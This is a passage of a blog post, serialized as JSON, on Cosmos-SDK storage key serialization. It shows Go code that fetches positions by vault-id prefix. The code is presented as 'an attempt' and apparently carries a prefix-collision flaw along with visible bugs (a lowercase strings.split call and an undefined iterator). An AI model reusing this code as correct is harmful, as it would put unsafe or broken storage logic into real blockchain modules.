rops":85442,"children":85443},{"style":212},[85444],{"type":24,"value":21386},{"type":19,"tag":168,"props":85446,"children":85447},{"class":170,"line":21250},[85448,85452,85456,85460,85464,85468,85472,85476],{"type":19,"tag":168,"props":85449,"children":85450},{"style":393},[85451],{"type":24,"value":83081},{"type":19,"tag":168,"props":85453,"children":85454},{"style":212},[85455],{"type":24,"value":948},{"type":19,"tag":168,"props":85457,"children":85458},{"style":175},[85459],{"type":24,"value":83135},{"type":19,"tag":168,"props":85461,"children":85462},{"style":212},[85463],{"type":24,"value":500},{"type":19,"tag":168,"props":85465,"children":85466},{"style":393},[85467],{"type":24,"value":83044},{"type":19,"tag":168,"props":85469,"children":85470},{"style":212},[85471],{"type":24,"value":471},{"type":19,"tag":168,"props":85473,"children":85474},{"style":393},[85475],{"type":24,"value":82960},{"type":19,"tag":168,"props":85477,"children":85478},{"style":212},[85479],{"type":24,"value":557},{"type":19,"tag":168,"props":85481,"children":85482},{"class":170,"line":21287},[85483],{"type":19,"tag":168,"props":85484,"children":85485},{"emptyLinePlaceholder":14},[85486],{"type":24,"value":1093},{"type":19,"tag":168,"props":85488,"children":85489},{"class":170,"line":21300},[85490,85494,85498,85502],{"type":19,"tag":168,"props":85491,"children":85492},{"style":393},[85493],{"type":24,"value":84487},{"type":19,"tag":168,"props":85495,"children":85496},{"style":399},[85497],{"type":24,"value":73905},{"type":19,"tag":168,"props":85499,"children":85500},{"style":175},[85501],{"type":24,"value":83053},{"type":19,"tag":168,"props":85503,"children":85504},{"style":212},[85505],{"type":24,"value":870},{"type":19,"tag":168,"props":85507,"children":85508},{"class":170,"line":21313},[85509,85513,85517],{"type":19,"tag":168,"props":85510,"children":85511},{"style":212},[85512],{"type":24,"value":83944},{"type":19,"tag":168,"props":85514,"children":85515},{"style":825},[85516],{"type":24,"value":82254},{"type":19,"tag":168,"props":85518,"children":85519},{"style":212},[85520],{"type":24,"value":915},{"type":19,"tag":168,"props":85522,"children":85523},{"class":170,"line":21326},[85524,85528,85532,85536,85540,85544,85548,85552],{"type":19,"tag":168,"props":85525,"children":85526},{"style":393},[85527],{"type":24,"value":83960},{"type":19,"tag":168,"props":85529,"children":85530},{"style":212},[85531],{"type":24,"value":948},{"type":19,"tag":168,"props":85533,"children":85534},{"style":175},[85535],{"type":24,"value":83090},{"type":19,"tag":168,"props":85537,"children":85538},{"style":212},[85539],{"type":24,"value":500},{"type":19,"tag":168,"props":85541,"children":85542},{"style":175},[85543],{"type":24,"value":6579},{"type":19,"tag":168,"props":85545,"children":85546},{"style":212},[85547],{"type":24,"value":500},{"type":19,"tag":168,"props":85549,"children":85550},{"style":393},[85551],{"type":24,"value":84330},{"type":19,"tag":168,"props":85553,"children":85554},{"style":212},[85555],{"type":24,"value":83111},{"type":19,"tag":168,"props":85557,"children":85558},{"class":170,"line":21380},[85559],{"type":19,"tag":168,"props":85560,"children":85561},{"style":212},[85562],{"type":24,"value":21386},{"type":19,"tag":168,"props":85564,"children":85565},{"class":170,"line":21389},[85566,85570,85574,85578,85582,85586,85590,85594],{"type":19,"tag":168,"props":85567,"children":85568},{"style":393},[85569],{"type":24,"value":83081},{"type":19,"tag":168,"props":85571,"children":85572},{"style":212},[85573],{"type":24,"value":948},{"type":19,"tag":168,"props":85575,"children":85576},{"style":175},[85577],{"type":24,"value":83135},{"type":19,"tag":168,"props":85579,"children":85580},{"style":212},[85581],{"type":24,"value":500},{"type":19,"tag":168,"props":85583,"children":85584},{"style":393},[85585],{"type":24,"value":84580},{"type":19,"tag":168,"props":85587,"children":85588},{"style":212},[85589],{"type":24,"value":471},{"type":19,"tag":168,"props":85591,"children":85592},{"style":393},[85593],{"type":24,"value":84330},{"type":19,"tag":168,"props":85595,"children":85596},{"style":212},[85597],{"type":24,"value":557},{"type":19,"tag":168,"props":85599,"children":85600},{"class":170,"line":29753},[85601],{"type":19,"tag":168,"props":85602,"children":85603},{"emptyLinePlaceholder":14},[85604],{"type":24,"value":1093},{"type":19,"tag":168,"props":85606,"children":85607},{"class":170,"line":29774},[85608,85612,85616,85620,85624,85628],{"type":19,"tag":168,"props":85609,"children":85610},{"style":393},[85611],{"type":24,"value":84164},{"type":19,"tag":168,"props":85613,"children":85614},{"style":399},[85615],{"type":24,"value":73905},{"type":19,"tag":168,"props":85617,"children":85618},{"style":393},[85619],{"type":24,"value":79723},{"type":19,"tag":168,"props":85621,"children":85622},{"style":212},[85623],{"type":24,"value":948},{"type":19,"tag":168,"props":85625,"children":85626},{"style":175},[85627],{"type":24,"value":82712},{"type":19,"tag":168,"props":85629,"children":85630},{"style":212},[85631],{"type":24,"value":870},{"type":19,"tag":168,"props":85633,"children":85634},{"class":170,"line":78440},[85635,85639],{"type":19,"tag":168,"props":85636,"children":85637},{"style":181},[85638],{"type":24,"value":85189},{"type":19,"tag":168,"props":85640,"children":85641},{"style":212},[85642],{"type":24,"value":915},{"type":19,"tag":168,"props":85644,"children":85645},{"class":170,"line":78453},[85646,85651],{"type":19,"tag":168,"props":85647,"children":85648},{"style":393},[85649],{"type":24,"value":85650}," AddressMapPrefix",{"type":19,"tag":168,"props":85652,"children":85653},{"style":212},[85654],{"type":24,"value":915},{"type":19,"tag":168,"props":85656,"children":85657},{"class":170,"line":78461},[85658,85662],{"type":19,"tag":168,"props":85659,"children":85660},{"style":393},[85661],{"type":24,"value":84204},{"type":19,"tag":168,"props":85663,"children":85664},{"style":212},[85665],{"type":24,"value":915},{"type":19,"tag":168,"props":85667,"children":85668},{"class":170,"line":78469},[85669,85673],{"type":19,"tag":168,"props":85670,"children":85671},{"style":393},[85672],{"type":24,"value":84216},{"type":19,"tag":168,"props":85674,"children":85675},{"style":212},[85676],{"type":24,"value":915},{"type":19,"tag":168,"props":85678,"children":85679},{"class":170,"line":78477},[85680,85684],{"type":19,"tag":168,"props":85681,"children":85682},{"style":393},[85683],{"type":24,"value":84228},{"type":19,"tag":168,"props":85685,"children":85686},{"style":212},[85687],{"type":24,"value":915},{"type":19,"tag":168,"props":85689,"children":85690},{"class":170,"line":78517},[85691,85695],{"type":19,"tag":168,"props":85692,"children":85693},{"style":393},[85694],{"type":24,"value":84216},{"type":19,"tag":168,"props":85696,"children":85697},{"style":212},[85698],{"type":24,"value":915},{"type":19,"tag":168,"props":85700,"children":85701},{"class":170,"line":78525},[85702,85706],{"type":19,"tag":168,"props":85703,"children":85704},{"style":393},[85705],{"type":24,"value":84689},{"type":19,"tag":168,"props":85707,"children":85708},{"style":212},[85709],{"type":24,"value":915},{"type":19,"tag":168,"props":85711,"children":85713},{"class":170,"line":85712},60,[85714],{"type":19,"tag":168,"props":85715,"children":85716},{"style":212},[85717],{"type":24,"value":21386},{"type":19,"tag":168,"props":85719,"children":85721},{"class":170,"line":85720},61,[85722],{"type":19,"tag":168,"props":85723,"children":85724},{"style":212},[85725],{"type":24,"value":1326},{"type":19,"tag":20,"props":85727,"children":85728},{},[85729],{"type":24,"value":85730},"We now have a proper example of how to serialize storage keys.",{"type":19,"tag":20,"props":85732,"children":85733},{},[85734,85736,85741],{"type":24,"value":85735},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":19,"tag":27,"props":85737,"children":85739},{"className":85738},[],[85740],{"type":24,"value":64588},{"type":24,"value":85742},", data should still be retrievable through original keys.",{"type":19,"tag":20,"props":85744,"children":85745},{},[85746,85748,85754,85756,85761],{"type":24,"value":85747},"Let's look at a case where we want to retrieve all ",{"type":19,"tag":27,"props":85749,"children":85751},{"className":85750},[],[85752],{"type":24,"value":85753},"map[Username]map[PositionName]Position",{"type":24,"value":85755}," associated with a ",{"type":19,"tag":27,"props":85757,"children":85759},{"className":85758},[],[85760],{"type":24,"value":82624},{"type":24,"value":85762}," from the storage. How can we safely accomplish this?",{"type":19,"tag":20,"props":85764,"children":85765},{},[85766,85768,85773,85775,85781],{"type":24,"value":85767},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":19,"tag":27,"props":85769,"children":85771},{"className":85770},[],[85772],{"type":24,"value":82695},{"type":24,"value":85774}," prefix. Below is an example of an attempt to fetch data with ",{"type":19,"tag":27,"props":85776,"children":85778},{"className":85777},[],[85779],{"type":24,"value":85780},"vaultId",{"type":24,"value":1922},{"type":19,"tag":158,"props":85783,"children":85785},{"code":85784,"language":73653,"meta":7,"className":73654,"style":7},"func FetchPositionMapWithVaultId(\n vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n values := map[Username]map[PositionName]Position{}\n i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n )\n for ; i.Valid(); i.Next() {\n k := strings.split(i.Key(), Seperator)\n\n username := make([]byte, hex.DecodedLen(k[0]))\n _, err := hex.Decode(username, k[0])\n if err != nil {\n return nil, err\n }\n\n positionName := make([]byte, hex.DecodedLen(k[1]))\n _, err := hex.Decode(positionName, k[1])\n if err != nil {\n return nil, err\n }\n\n if entry, ok := values[username]; !ok {\n values[username] = make(map[PositionName])\n }\n\n values[username][positionName] = Position {\n data: iterator.Value(),\n }\n }\n return values\n}\n",[85786],{"type":19,"tag":27,"props":85787,"children":85788},{"__ignoreMap":7},[85789,85805,85820,85869,85921,85950,85962,86008,86015,86061,86116,86123,86187,86248,86271,86290,86297,86304,86364,86423,86446,86465,86472,86479,86532,86580,86587,86594,86634,86663,86670,86677,86689],{"type":19,"tag":168,"props":85790,"children":85791},{"class":170,"line":171},[85792,85796,85801],{"type":19,"tag":168,"props":85793,"children":85794},{"style":382},[85795],{"type":24,"value":73789},{"type":19,"tag":168,"props":85797,"children":85798},{"style":175},[85799],{"type":24,"value":85800}," FetchPositionMapWithVaultId",{"type":19,"tag":168,"props":85802,"children":85803},{"style":212},[85804],{"type":24,"value":870},{"type":19,"tag":168,"props":85806,"children":85807},{"class":170,"line":198},[85808,85812,85816],{"type":19,"tag":168,"props":85809,"children":85810},{"style":393},[85811],{"type":24,"value":82736},{"type":19,"tag":168,"props":85813,"children":85814},{"style":825},[85815],{"type":24,"value":73910},{"type":19,"tag":168,"props":85817,"children":85818},{"style":212},[85819],{"type":24,"value":915},{"type":19,"tag":168,"props":85821,"children":85822},{"class":170,"line":415},[85823,85828,85832,85836,85840,85844,85848,85852,85856,85860,85865],{"type":19,"tag":168,"props":85824,"children":85825},{"style":212},[85826],{"type":24,"value":85827},") ([]",{"type":19,"tag":168,"props":85829,"children":85830},{"style":382},[85831],{"type":24,"value":64588},{"type":19,"tag":168,"props":85833,"children":85834},{"style":212},[85835],{"type":24,"value":1152},{"type":19,"tag":168,"props":85837,"children":85838},{"style":825},[85839],{"type":24,"value":82641},{"type":19,"tag":168,"props":85841,"children":85842},{"style":212},[85843],{"type":24,"value":12858},{"type":19,"tag":168,"props":85845,"children":85846},{"style":382},[85847],{"type":24,"value":64588},{"type":19,"tag":168,"props":85849,"children":85850},{"style":212},[85851],{"type":24,"value":1152},{"type":19,"tag":168,"props":85853,"children":85854},{"style":825},[85855],{"type":24,"value":82658},{"type":19,"tag":168,"props":85857,"children":85858},{"style":212},[85859],{"type":24,"value":12858},{"type":19,"tag":168,"props":85861,"children":85862},{"style":825},[85863],{"type":24,"value":85864},"Position",{"type":19,"tag":168,"props":85866,"children":85867},{"style":212},[85868],{"type":24,"value":12250},{"type":19,"tag":168,"props":85870,"children":85871},{"class":170,"line":450},[85872,85877,85881,85885,85889,85893,85897,85901,85905,85909,85913,85917],{"type":19,"tag":168,"props":85873,"children":85874},{"style":393},[85875],{"type":24,"value":85876}," values",{"type":19,"tag":168,"props":85878,"children":85879},{"style":399},[85880],{"type":24,"value":73905},{"type":19,"tag":168,"props":85882,"children":85883},{"style":382},[85884],{"type":24,"value":47151},{"type":19,"tag":168,"props":85886,"children":85887},{"style":212},[85888],{"type":24,"value":1152},{"type":19,"tag":168,"props":85890,"children":85891},{"style":825},[85892],{"type":24,"value":82641},{"type":19,"tag":168,"props":85894,"children":85895},{"style":212},[85896],{"type":24,"value":12858},{"type":19,"tag":168,"props":85898,"children":85899},{"style":382},[85900],{"type":24,"value":64588},{"type":19,"tag":168,"props":85902,"children":85903},{"style":212},[85904],{"type":24,"value":1152},{"type":19,"tag":168,"props":85906,"children":85907},{"style":825},[85908],{"type":24,"value":82658},{"type":19,"tag":168,"props":85910,"children":85911},{"style":212},[85912],{"type":24,"value":12858},{"type":19,"tag":168,"props":85914,"children":85915},{"style":825},[85916],{"type":24,"value":85864},{"type":19,"tag":168,"props":85918,"children":85919},{"style":212},[85920],{"type":24,"value":75586},{"type":19,"tag":168,"props":85922,"children":85923},{"class":170,"line":560},[85924,85929,85933,85937,85941,85946],{"type":19,"tag":168,"props":85925,"children":85926},{"style":393},[85927],{"type":24,"value":85928}," i",{"type":19,"tag":168,"props":85930,"children":85931},{"style":399},[85932],{"type":24,"value":73905},{"type":19,"tag":168,"props":85934,"children":85935},{"style":393},[85936],{"type":24,"value":76130},{"type":19,"tag":168,"props":85938,"children":85939},{"style":212},[85940],{"type":24,"value":948},{"type":19,"tag":168,"props":85942,"children":85943},{"style":175},[85944],{"type":24,"value":85945},"KVStorePrefixIterator",{"type":19,"tag":168,"props":85947,"children":85948},{"style":212},[85949],{"type":24,"value":870},{"type":19,"tag":168,"props":85951,"children":85952},{"class":170,"line":666},[85953,85958],{"type":19,"tag":168,"props":85954,"children":85955},{"style":393},[85956],{"type":24,"value":85957}," kvStore",{"type":19,"tag":168,"props":85959,"children":85960},{"style":212},[85961],{"type":24,"value":915},{"type":19,"tag":168,"props":85963,"children":85964},{"class":170,"line":694},[85965,85970,85974,85978,85982,85987,85991,85996,86000,86004],{"type":19,"tag":168,"props":85966,"children":85967},{"style":393},[85968],{"type":24,"value":85969}," fmt",{"type":19,"tag":168,"props":85971,"children":85972},{"style":212},[85973],{"type":24,"value":948},{"type":19,"tag":168,"props":85975,"children":85976},{"style":175},[85977],{"type":24,"value":82712},{"type":19,"tag":168,"props":85979,"children":85980},{"style":212},[85981],{"type":24,"value":500},{"type":19,"tag":168,"props":85983,"children":85984},{"style":181},[85985],{"type":24,"value":85986},"\"%s%d\"",{"type":19,"tag":168,"props":85988,"children":85989},{"style":212},[85990],{"type":24,"value":471},{"type":19,"tag":168,"props":85992,"children":85993},{"style":393},[85994],{"type":24,"value":85995},"PositionMapPrefix",{"type":19,"tag":168,"props":85997,"children":85998},{"style":212},[85999],{"type":24,"value":471},{"type":19,"tag":168,"props":86001,"children":86002},{"style":393},[86003],{"type":24,"value":85780},{"type":19,"tag":168,"props":86005,"children":86006},{"style":212},[86007],{"type":24,"value":557},{"type":19,"tag":168,"props":86009,"children":86010},{"class":170,"line":707},[86011],{"type":19,"tag":168,"props":86012,"children":86013},{"style":212},[86014],{"type":24,"value":21386},{"type":19,"tag":168,"props":86016,"children":86017},{"class":170,"line":725},[86018,86022,86027,86031,86035,86040,86044,86048,86052,86057],{"type":19,"tag":168,"props":86019,"children":86020},{"style":419},[86021],{"type":24,"value":422},{"type":19,"tag":168,"props":86023,"children":86024},{"style":212},[86025],{"type":24,"value":86026}," ; ",{"type":19,"tag":168,"props":86028,"children":86029},{"style":393},[86030],{"type":24,"value":1157},{"type":19,"tag":168,"props":86032,"children":86033},{"style":212},[86034],{"type":24,"value":948},{"type":19,"tag":168,"props":86036,"children":86037},{"style":175},[86038],{"type":24,"value":86039},"Valid",{"type":19,"tag":168,"props":86041,"children":86042},{"style":212},[86043],{"type":24,"value":25917},{"type":19,"tag":168,"props":86045,"children":86046},{"style":393},[86047],{"type":24,"value":1157},{"type":19,"tag":168,"props":86049,"children":86050},{"style":212},[86051],{"type":24,"value":948},{"type":19,"tag":168,"props":86053,"children":86054},{"style":175},[86055],{"type":24,"value":86056},"Next",{"type":19,"tag":168,"props":86058,"children":86059},{"style":212},[86060],{"type":24,"value":13184},{"type":19,"tag":168,"props":86062,"children":86063},{"class":170,"line":746},[86064,86069,86073,86078,86082,86086,86090,86094,86098,86103,86107,86112],{"type":19,"tag":168,"props":86065,"children":86066},{"style":393},[86067],{"type":24,"value":86068}," k",{"type":19,"tag":168,"props":86070,"children":86071},{"style":399},[86072],{"type":24,"value":73905},{"type":19,"tag":168,"props":86074,"children":86075},{"style":393},[86076],{"type":24,"value":86077}," strings",{"type":19,"tag":168,"props":86079,"children":86080},{"style":212},[86081],{"type":24,"value":948},{"type":19,"tag":168,"props":86083,"children":86084},{"style":175},[86085],{"type":24,"value":67529},{"type":19,"tag":168,"props":86087,"children":86088},{"style":212},[86089],{"type":24,"value":500},{"type":19,"tag":168,"props":86091,"children":86092},{"style":393},[86093],{"type":24,"value":1157},{"type":19,"tag":168,"props":86095,"children":86096},{"style":212},[86097],{"type":24,"value":948},{"type":19,"tag":168,"props":86099,"children":86100},{"style":175},[86101],{"type":24,"value":86102},"Key",{"type":19,"tag":168,"props":86104,"children":86105},{"style":212},[86106],{"type":24,"value":15826},{"type":19,"tag":168,"props":86108,"children":86109},{"style":393},[86110],{"type":24,"value":86111},"Seperator",{"type":19,"tag":168,"props":86113,"children":86114},{"style":212},[86115],{"type":24,"value":557},{"type":19,"tag":168,"props":86117,"children":86118},{"class":170,"line":755},[86119],{"type":19,"tag":168,"props":86120,"children":86121},{"emptyLinePlaceholder":14},[86122],{"type":24,"value":1093},{"type":19,"tag":168,"props":86124,"children":86125},{"class":170,"line":1008},[86126,86131,86135,86139,86144,86148,86152,86156,86160,86165,86169,86174,86178,86182],{"type":19,"tag":168,"props":86127,"children":86128},{"style":393},[86129],{"type":24,"value":86130}," username",{"type":19,"tag":168,"props":86132,"children":86133},{"style":399},[86134],{"type":24,"value":73905},{"type":19,"tag":168,"props":86136,"children":86137},{"style":175},[86138],{"type":24,"value":83053},{"type":19,"tag":168,"props":86140,"children":86141},{"style":212},[86142],{"type":24,"value":86143},"([]",{"type":19,"tag":168,"props":86145,"children":86146},{"style":825},[86147],{"type":24,"value":82254},{"type":19,"tag":168,"props":86149,"children":86150},{"style":212},[86151],{"type":24,"value":471},{"type":19,"tag":168,"props":86153,"children":86154},{"style":393},[86155],{"type":24,"value":83126},{"type":19,"tag":168,"props":86157,"children":86158},{"style":212},[86159],{"type":24,"value":948},{"type":19,"tag":168,"props":86161,"children":86162},{"style":175},[86163],{"type":24,"value":86164},"DecodedLen",{"type":19,"tag":168,"props":86166,"children":86167},{"style":212},[86168],{"type":24,"value":500},{"type":19,"tag":168,"props":86170,"children":86171},{"style":393},[86172],{"type":24,"value":86173},"k",{"type":19,"tag":168,"props":86175,"children":86176},{"style":212},[86177],{"type":24,"value":1152},{"type":19,"tag":168,"props":86179,"children":86180},{"style":192},[86181],{"type":24,"value":1452},{"type":19,"tag":168,"props":86183,"children":86184},{"style":212},[86185],{"type":24,"value":86186},"]))\n",{"type":19,"tag":168,"props":86188,"children":86189},{"class":170,"line":1025},[86190,86194,86198,86202,86206,86211,86215,86220,86224,86228,86232,86236,86240,86244],{"type":19,"tag":168,"props":86191,"children":86192},{"style":393},[86193],{"type":24,"value":25216},{"type":19,"tag":168,"props":86195,"children":86196},{"style":212},[86197],{"type":24,"value":471},{"type":19,"tag":168,"props":86199,"children":86200},{"style":393},[86201],{"type":24,"value":45902},{"type":19,"tag":168,"props":86203,"children":86204},{"style":399},[86205],{"type":24,"value":73905},{"type":19,"tag":168,"props":86207,"children":86208},{"style":393},[86209],{"type":24,"value":86210}," hex",{"type":19,"tag":168,"props":86212,"children":86213},{"style":212},[86214],{"type":24,"value":948},{"type":19,"tag":168,"props":86216,"children":86217},{"style":175},[86218],{"type":24,"value":86219},"Decode",{"type":19,"tag":168,"props":86221,"children":86222},{"style":212},[86223],{"type":24,"value":500},{"type":19,"tag":168,"props":86225,"children":86226},{"style":393},[86227],{"type":24,"value":82960},{"type":19,"tag":168,"props":86229,"children":86230},{"style":212},[86231],{"type":24,"value":471},{"type":19,"tag":168,"props":86233,"children":86234},{"style":393},[86235],{"type":24,"value":86173},{"type":19,"tag":168,"props":86237,"children":86238},{"style":212},[86239],{"type":24,"value":1152},{"type":19,"tag":168,"props":86241,"children":86242},{"style":192},[86243],{"type":24,"value":1452},{"type":19,"tag":168,"props":86245,"children":86246},{"style":212},[86247],{"type":24,"value":52924},{"type":19,"tag":168,"props":86249,"children":86250},{"class":170,"line":1042},[86251,86255,86259,86263,86267],{"type":19,"tag":168,"props":86252,"children":86253},{"style":419},[86254],{"type":24,"value":672},{"type":19,"tag":168,"props":86256,"children":86257},{"style":393},[86258],{"type":24,"value":46003},{"type":19,"tag":168,"props":86260,"children":86261},{"style":399},[86262],{"type":24,"value":61872},{"type":19,"tag":168,"props":86264,"children":86265},{"style":382},[86266],{"type":24,"value":79407},{"type":19,"tag":168,"props":86268,"children":86269},{"style":212},[86270],{"type":24,"value":691},{"type":19,"tag":168,"props":86272,"children":86273},{"class":170,"line":1055},[86274,86278,86282,86286],{"type":19,"tag":168,"props":86275,"children":86276},{"style":419},[86277],{"type":24,"value":76565},{"type":19,"tag":168,"props":86279,"children":86280},{"style":382},[86281],{"type":24,"value":79407},{"type":19,"tag":168,"props":86283,"children":86284},{"style":212},[86285],{"type":24,"value":471},{"type":19,"tag":168,"props":86287,"children":86288},{"style":393},[86289],{"type":24,"value":81128},{"type":19,"tag":168,"props":86291,"children":86292},{"class":170,"line":1064},[86293],{"type":19,"tag":168,"props":86294,"children":86295},{"style":212},[86296],{"type":24,"value":752},{"type":19,"tag":168,"props":86298,"children":86299},{"class":170,"line":1087},[86300],{"type":19,"tag":168,"props":86301,"children":86302},{"emptyLinePlaceholder":14},[86303],{"type":24,"value":1093},{"type":19,"tag":168,"props":86305,"children":86306},{"class":170,"line":1096},[86307,86312,86316,86320,86324,86328,86332,86336,86340,86344,86348,86352,86356,86360],{"type":19,"tag":168,"props":86308,"children":86309},{"style":393},[86310],{"type":24,"value":86311}," positionName",{"type":19,"tag":168,"props":86313,"children":86314},{"style":399},[86315],{"type":24,"value":73905},{"type":19,"tag":168,"props":86317,"children":86318},{"style":175},[86319],{"type":24,"value":83053},{"type":19,"tag":168,"props":86321,"children":86322},{"style":212},[86323],{"type":24,"value":86143},{"type":19,"tag":168,"props":86325,"children":86326},{"style":825},[86327],{"type":24,"value":82254},{"type":19,"tag":168,"props":86329,"children":86330},{"style":212},[86331],{"type":24,"value":471},{"type":19,"tag":168,"props":86333,"children":86334},{"style":393},[86335],{"type":24,"value":83126},{"type":19,"tag":168,"props":86337,"children":86338},{"style":212},[86339],{"type":24,"value":948},{"type":19,"tag":168,"props":86341,"children":86342},{"style":175},[86343],{"type":24,"value":86164},{"type":19,"tag":168,"props":86345,"children":86346},{"style":212},[86347],{"type":24,"value":500},{"type":19,"tag":168,"props":86349,"children":86350},{"style":393},[86351],{"type":24,"value":86173},{"type":19,"tag":168,"props":86353,"children":86354},{"style":212},[86355],{"type":24,"value":1152},{"type":19,"tag":168,"props":86357,"children":86358},{"style":192},[86359],{"type":24,"value":1442},{"type":19,"tag":168,"props":86361,"children":86362},{"style":212},[86363],{"type":24,"value":86186},{"type":19,"tag":168,"props":86365,"children":86366},{"class":170,"line":1105},[86367,86371,86375,86379,86383,86387,86391,86395,86399,86403,86407,86411,86415,86419],{"type":19,"tag":168,"props":86368,"children":86369},{"style":393},[86370],{"type":24,"value":25216},{"type":19,"tag":168,"props":86372,"children":86373},{"style":212},[86374],{"type":24,"value":471},{"type":19,"tag":168,"props":86376,"children":86377},{"style":393},[86378],{"type":24,"value":45902},{"type":19,"tag":168,"props":86380,"children":86381},{"style":399},[86382],{"type":24,"value":73905},{"type":19,"tag":168,"props":86384,"children":86385},{"style":393},[86386],{"type":24,"value":86210},{"type":19,"tag":168,"props":86388,"children":86389},{"style":212},[86390],{"type":24,"value":948},{"type":19,"tag":168,"props":86392,"children":86393},{"style":175},[86394],{"type":24,"value":86219},{"type":19,"tag":168,"props":86396,"children":86397},{"style":212},[86398],{"type":24,"value":500},{"type":19,"tag":168,"props":86400,"children":86401},{"style":393},[86402],{"type":24,"value":83229},{"type":19,"tag":168,"props":86404,"children":86405},{"style":212},[86406],{"type":24,"value":471},{"type":19,"tag":168,"props":86408,"children":86409},{"style":393},[86410],{"type":24,"value":86173},{"type":19,"tag":168,"props":86412,"children":86413},{"style":212},[86414],{"type":24,"value":1152},{"type":19,"tag":168,"props":86416,"children":86417},{"style":192},[86418],{"type":24,"value":1442},{"type":19,"tag":168,"props":86420,"children":86421},{"style":212},[86422],{"type":24,"value":52924},{"type":19,"tag":168,"props":86424,"children":86425},{"class":170,"line":1174},[86426,86430,86434,86438,86442],{"type":19,"tag":168,"props":86427,"children":86428},{"style":419},[86429],{"type":24,"value":672},{"type":19,"tag":168,"props":86431,"children":86432},{"style":393},[86433],{"type":24,"value":46003},{"type":19,"tag":168,"props":86435,"children":86436},{"style":399},[86437],{"type":24,"value":61872},{"type":19,"tag":168,"props":86439,"children":86440},{"style":382},[86441],{"type":24,"value":79407},{"type":19,"tag":168,"props":86443,"children":86444},{"style":212},[86445],{"type":24,"value":691},{"type":19,"tag":168,"props":86447,"children":86448},{"class":170,"line":1182},[86449,86453,86457,86461],{"type":19,"tag":168,"props":86450,"children":86451},{"style":419},[86452],{"type":24,"value":76565},{"type":19,"tag":168,"props":86454,"children":86455},{"style":382},[86456],{"type":24,"value":79407},{"type":19,"tag":168,"props":86458,"children":86459},{"style":212},[86460],{"type":24,"value":471},{"type":19,"tag":168,"props":86462,"children":86463},{"style":393},[86464],{"type":24,"value":81128},{"type":19,"tag":168,"props":86466,"children":86467},{"class":170,"line":1212},[86468],{"type":19,"tag":168,"props":86469,"children":86470},{"style":212},[86471],{"type":24,"value":752},{"type":19,"tag":168,"props":86473,"children":86474},{"class":170,"line":1220},[86475],{"type":19,"tag":168,"props":86476,"children":86477},{"emptyLinePlaceholder":14},[86478],{"type":24,"value":1093},{"type":19,"tag":168,"props":86480,"children":86481},{"class":170,"line":1252},[86482,86486,86490,86494,86498,86502,86507,86511,86515,86520,86524,86528],{"type":19,"tag":168,"props":86483,"children":86484},{"style":419},[86485],{"type":24,"value":672},{"type":19,"tag":168,"props":86487,"children":86488},{"style":393},[86489],{"type":24,"value":60127},{"type":19,"tag":168,"props":86491,"children":86492},{"style":212},[86493],{"type":24,"value":471},{"type":19,"tag":168,"props":86495,"children":86496},{"style":393},[86497],{"type":24,"value":76256},{"type":19,"tag":168,"props":86499,"children":86500},{"style":399},[86501],{"type":24,"value":73905},{"type":19,"tag":168,"props":86503,"children":86504},{"style":393},[86505],{"type":24,"value":86506}," values",{"type":19,"tag":168,"props":86508,"children":86509},{"style":212},[86510],{"type":24,"value":1152},{"type":19,"tag":168,"props":86512,"children":86513},{"style":393},[86514],{"type":24,"value":82960},{"type":19,"tag":168,"props":86516,"children":86517},{"style":212},[86518],{"type":24,"value":86519},"]; ",{"type":19,"tag":168,"props":86521,"children":86522},{"style":399},[86523],{"type":24,"value":18076},{"type":19,"tag":168,"props":86525,"children":86526},{"style":393},[86527],{"type":24,"value":76256},{"type":19,"tag":168,"props":86529,"children":86530},{"style":212},[86531],{"type":24,"value":691},{"type":19,"tag":168,"props":86533,"children":86534},{"class":170,"line":1260},[86535,86540,86544,86548,86552,86556,86560,86564,86568,86572,86576],{"type":19,"tag":168,"props":86536,"children":86537},{"style":393},[86538],{"type":24,"value":86539}," values",{"type":19,"tag":168,"props":86541,"children":86542},{"style":212},[86543],{"type":24,"value":1152},{"type":19,"tag":168,"props":86545,"children":86546},{"style":393},[86547],{"type":24,"value":82960},{"type":19,"tag":168,"props":86549,"children":86550},{"style":212},[86551],{"type":24,"value":6099},{"type":19,"tag":168,"props":86553,"children":86554},{"style":399},[86555],{"type":24,"value":486},{"type":19,"tag":168,"props":86557,"children":86558},{"style":175},[86559],{"type":24,"value":83053},{"type":19,"tag":168,"props":86561,"children":86562},{"style":212},[86563],{"type":24,"value":500},{"type":19,"tag":168,"props":86565,"children":86566},{"style":382},[86567],{"type":24,"value":64588},{"type":19,"tag":168,"props":86569,"children":86570},{"style":212},[86571],{"type":24,"value":1152},{"type":19,"tag":168,"props":86573,"children":86574},{"style":825},[86575],{"type":24,"value":82658},{"type":19,"tag":168,"props":86577,"children":86578},{"style":212},[86579],{"type":24,"value":52924},{"type":19,"tag":168,"props":86581,"children":86582},{"class":170,"line":1320},[86583],{"type":19,"tag":168,"props":86584,"children":86585},{"style":212},[86586],{"type":24,"value":752},{"type":19,"tag":168,"props":86588,"children":86589},{"class":170,"line":6486},[86590],{"type":19,"tag":168,"props":86591,"children":86592},{"emptyLinePlaceholder":14},[86593],{"type":24,"value":1093},{"type":19,"tag":168,"props":86595,"children":86596},{"class":170,"line":6504},[86597,86602,86606,86610,86614,86618,86622,86626,86630],{"type":19,"tag":168,"props":86598,"children":86599},{"style":393},[86600],{"type":24,"value":86601}," values",{"type":19,"tag":168,"props":86603,"children":86604},{"style":212},[86605],{"type":24,"value":1152},{"type":19,"tag":168,"props":86607,"children":86608},{"style":393},[86609],{"type":24,"value":82960},{"type":19,"tag":168,"props":86611,"children":86612},{"style":212},[86613],{"type":24,"value":46440},{"type":19,"tag":168,"props":86615,"children":86616},{"style":393},[86617],{"type":24,"value":83229},{"type":19,"tag":168,"props":86619,"children":86620},{"style":212},[86621],{"type":24,"value":6099},{"type":19,"tag":168,"props":86623,"children":86624},{"style":399},[86625],{"type":24,"value":486},{"type":19,"tag":168,"props":86627,"children":86628},{"style":393},[86629],{"type":24,"value":4861},{"type":19,"tag":168,"props":86631,"children":86632},{"style":212},[86633],{"type":24,"value":691},{"type":19,"tag":168,"props":86635,"children":86636},{"class":170,"line":6549},[86637,86641,86645,86650,86654,86659],{"type":19,"tag":168,"props":86638,"children":86639},{"style":393},[86640],{"type":24,"value":24419},{"type":19,"ta